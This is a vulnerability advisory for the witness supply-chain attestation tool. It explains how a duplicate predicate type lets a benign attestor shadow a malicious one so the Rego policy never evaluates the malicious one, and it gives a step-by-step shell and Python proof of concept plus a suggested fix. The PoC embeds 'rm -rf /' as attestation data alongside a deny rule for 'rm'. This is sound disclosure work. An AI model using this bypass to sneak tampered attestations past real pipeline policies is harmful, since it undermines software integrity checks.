Duplicate-type attestation shadowing lets a malicious attestor evade policy
Description
When a collection contains more than one attestor of the same predicate type, only the last one is policy-evaluated. A functionary can append a benign attestor of the policed type after a malicious one; the malicious attestor is silently shadowed and the step's Rego policy never inspects it. The per-attestor policy guarantee for that step is bypassed.
Impact
Policy-evaluation bypass via attestor shadowing. A functionary (already partially trusted for the step) can hide a malicious attestor of a policed type behind an appended benign duplicate, so the step's Rego policy never sees the malicious content. The impact is contained because it requires functionary access, but it undermines the per-attestor policy guarantee for any step that can receive more than one attestor of the same predicate type. The scope is integrity (not confidentiality or availability).
Real-world exploitation conditions. The attacker must be a functionary for the step (or able to get a collection signed by the step's functionary), reflected by PR:H. Given that, they append a second attestor of the policed type after a malicious one and the malicious one is dropped before Rego evaluation.
Details
Step.validateAttestations (policy/step.go:142-197) collapses the collection's attestors into a map keyed solely by predicate type, with a plain assignment, so a later entry overwrites an earlier one (policy/step.go:164-166):
found := make(map[string]attestation.Attestor)
...
for _, attestation := range collection.Collection.Attestations {
found[attestation.Type] = attestation.Attestation // last writer wins
}The subsequent Rego evaluation (policy/step.go:168-182) reads only found[expected.Type], i.e. the single surviving (last) attestor of each type. Any earlier attestor of the same type is discarded before any policy runs, so it is never evaluated.
Proof of Concept
This reproduces the issue through the built witness CLI by taking a real attestation, tampering its collection to hold two command-run attestors of the same type, and re-signing it with the functionary key. A Rego policy denies any command-run whose cmd contains rm.
# BUILD the witness CLI (needs Go; this PoC also needs openssl + python3):
# git clone https://github.com/in-toto/witness && cd witness && git checkout v0.11.0 \
# && go build -o /tmp/witness . && cd - && export PATH=/tmp:$PATH
# (witness v0.11.0 builds against go-witness v0.10.0, the version it ships.)
# Then run the rest in an empty working directory.
openssl genpkey -algorithm ed25519 -out fk.key; openssl pkey -in fk.key -pubout -out fk.pub # functionary
openssl genpkey -algorithm ed25519 -out pk.key; openssl pkey -in pk.key -pubout -out pk.pub # policy signer
# A benign attestation for step "build" that produces a file (gives the collection a subject).
witness run --step build -a environment -k fk.key -o att.json -- /bin/sh -c "echo built > product.bin"
KEYID=$(python3 -c "import json;print(json.load(open('att.json'))['signatures'][0]['keyid'])")
SUBJ=$(python3 -c "import json,base64;s=json.loads(base64.b64decode(json.load(open('att.json'))['payload']));print(list(s['subject'][0]['digest'].values())[0])")
# Rego that denies any command-run whose cmd contains "rm".
printf 'package commandrun.cmd\ndeny[msg] { input.cmd[_] == "rm"; msg := "dangerous command: rm" }\n' > rego.rego
# Policy: step "build" requires command-run satisfying the rego; functionary = fk.
python3 - "$KEYID" <<'PY'
import json,sys,base64
keyid=sys.argv[1]
rego=base64.b64encode(open("rego.rego","rb").read()).decode()
pub=base64.b64encode(open("fk.pub","rb").read()).decode()
json.dump({"expires":"2035-12-17T23:57:40-05:00","publickeys":{keyid:{"keyid":keyid,"key":pub}},
"steps":{"build":{"name":"build",
"attestations":[{"type":"https://witness.dev/attestations/command-run/v0.1",
"regopolicies":[{"name":"no-rm","module":rego}]}],
"functionaries":[{"type":"publickey","publickeyid":keyid}]}}}, open("policy.json","w"))
PY
witness sign -f policy.json -k pk.key -o policy.signed.json
# Build two tampered collections from the real attestation and re-sign each with the functionary key.
python3 - <<'PY'
import json,base64,copy
stmt=json.loads(base64.b64decode(json.load(open("att.json"))['payload']))
atts=stmt['predicate']['attestations']
cr=[a for a in atts if 'command-run' in a['type']][0]
mal=copy.deepcopy(cr); mal['attestation']={"cmd":["rm","-rf","/"],"stdout":"","exitcode":0}
others=[a for a in atts if 'command-run' not in a['type']]
def w(lst,p):
s=copy.deepcopy(stmt); s['predicate']['attestations']=lst; json.dump(s,open(p,'w'))
w(others+[mal], "stmt_control.json") # malicious only
w(others+[mal, copy.deepcopy(cr)], "stmt_shadow.json") # malicious + benign appended (benign shadows)
PY
witness sign -f stmt_control.json --datatype application/vnd.in-toto+json -k fk.key -o att_control.json
witness sign -f stmt_shadow.json --datatype application/vnd.in-toto+json -k fk.key -o att_shadow.json
# CONTROL: collection holds ONLY the malicious command-run.
witness verify -p policy.signed.json -k pk.pub -a att_control.json -s "$SUBJ"
# -> level=error "... rego policy evaluation failed ...: policy was denied due to: dangerous command: rm"
# -> level=error "Verification failed" exit 1 (correctly DENIED)
# EXPLOIT: malicious command-run FIRST, benign command-run appended LAST (benign shadows malicious).
witness verify -p policy.signed.json -k pk.pub -a att_shadow.json -s "$SUBJ"
# -> level=info "Verification succeeded" exit 0 (ACCEPTED: the "rm -rf /" attestor was never
# evaluated == vulnerability)The benign duplicate (the last writer) is the only attestor the Rego policy ever sees; the rm -rf / attestor in the same collection is never evaluated.
Suggested fix
Do not silently keep only the last attestor of a duplicated type. Either reject a collection that contains more than one attestor of the same predicate type, or evaluate the step's Rego policy against all attestors of that type (failing if any is denied).